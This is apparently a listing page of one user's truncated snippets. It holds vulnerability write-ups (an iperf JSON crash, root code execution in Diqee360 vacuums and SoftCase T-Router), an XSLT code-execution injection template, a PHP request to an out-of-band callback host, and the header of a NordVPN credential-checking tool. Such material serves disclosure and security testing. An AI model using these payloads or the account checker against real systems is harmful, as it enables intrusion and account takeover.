neolead

# Vulnerability Report: iperf v3.17.1 - Denial of Service (DoS)

## Overview
A vulnerability has been identified in the latest version of iperf (up to v3.17.1) that leads to a **Denial of Service (DoS)** condition. This flaw is associated with how iperf handles **JSON data**, which can result in a segmentation fault (SIGSEGV) due to access to an invalid memory segment. The vulnerability affects both Linux and Windows versions.

---

## Technical Analysis

neolead

# Mostly just https://github.com/curl/curl/blob/master/docs/HTTP3.md#quiche-version
# with the specific requirements for debian/kali

sudo apt-get install -y git build-essential libtool libunwind-dev autoconf cmake golang cargo

git clone --recursive https://github.com/cloudflare/quiche
cd quiche
cargo build --release --features pkg-config-meta,qlog
mkdir deps/boringssl/lib
ln -vnf $(find target/release -name libcrypto.a -o -name libssl.a) deps/boringssl/lib/

neolead

<?php
// Initialize a cURL session
$ch = curl_init();

// Set the URL to send the request to
curl_setopt($ch, CURLOPT_URL, "https://367hc9vvi1n2zplsokadnis8tzzqnhb6.oastify.com/123.php");

// Set the cURL option to ignore SSL certificate verification
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

neolead

Хорошо, давайте создадим два скрипта для Arduino: один будет работать в качестве WiFi сервера (Device 1), второй - в качестве клиента (Device 2). Device 1 будет подключен к компьютеру через USB и будет обеспечивать двустороннюю связь с Device 2, который в свою очередь будет подключен к внешнему устройству через TTL.
WiFi Сервер (Device 1):
#include <WiFi.h>

// WiFi network name and password:
const char * networkName = "Your_SSID";
const char * networkPswd = "Your_PASSWORD";

// IP address to connect to:
IPAddress local_IP(192,168,1,184);

neolead

<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:j="http://xml.apache.org/xalan/java" exclude-result-prefixes="j"
>
    <xsl:template match="/">
        <xsl:variable name="sem" select="j:javax.script.ScriptEngineManager.new()"/>
        <xsl:variable name="se" select="j:getEngineByName($sem, 'JavaScript')"/>
        <xsl:variable name="js">
        <![CDATA[
            new java.util.Scanner(

neolead

#Nordvpn account check tool v1.2 Created by matrix
#
#Run like bash chk2.sh filename.txt filename.txt must be in login:password format 
#Working proxy accounts will be stored into work.txt Multithreaded tool. default 190 threads, you can change inside.

if [[ $# -eq 0 ]] ; then
    echo 'Nordvpn check tool v1.2'
    echo 'Created by matrix'
    echo 'Run like bash chk2.sh filename.txt'
    echo 'filename.txt must be in login:password format'

neolead

Just a pawn test of hackerone.com/neolead

neolead

CVE-2018-10988

[Suggested description]
An issue was discovered on Diqee360 devices (http://diqee.com).
A firmware update process, integrated into the firmware, starts at boot and tries to find the update folder on the microSD card.
It executes code, without a digital signature, as root from the 
/mnt/sdcard/$PRO_NAME/upgrade.sh or /sdcard/upgrage_360/upgrade.sh pathname.
------------------------------------------

[Additional Information]

neolead

CVE-2018-10987

[Suggested description]
An issue was discovered on Dongguan Diqee Diqee360 vacuum cleaner devices.
The affected vacuum cleaners suffers from an authenticated remote code 
execution vulnerability. An authenticated attacker can send a 
specially crafted UDP packet, and execute commands on the vacuum 
cleaner as root. The bug is in the function REQUEST_SET_WIFIPASSWD (UDP command 153).
A crafted UDP packet runs "/mnt/skyeye/mode_switch.sh %s" with an 
attacker controlling the %s variable. In some cases, authentication 

neolead

CVE-2018-11241
[Suggested description]
An issue was discovered on SoftCase T-Router build 20112017 devices.
A remote attacker can read and write to arbitrary files on the system 
as root, as demonstrated by code execution after writing to a crontab file.
This is fixed in production builds as of Spring 2018.
------------------------------------------
[Additional Information]
The T-Router protocol contains not only the functions of executing the 
above-mentioned commands of the 'top' level, but also commands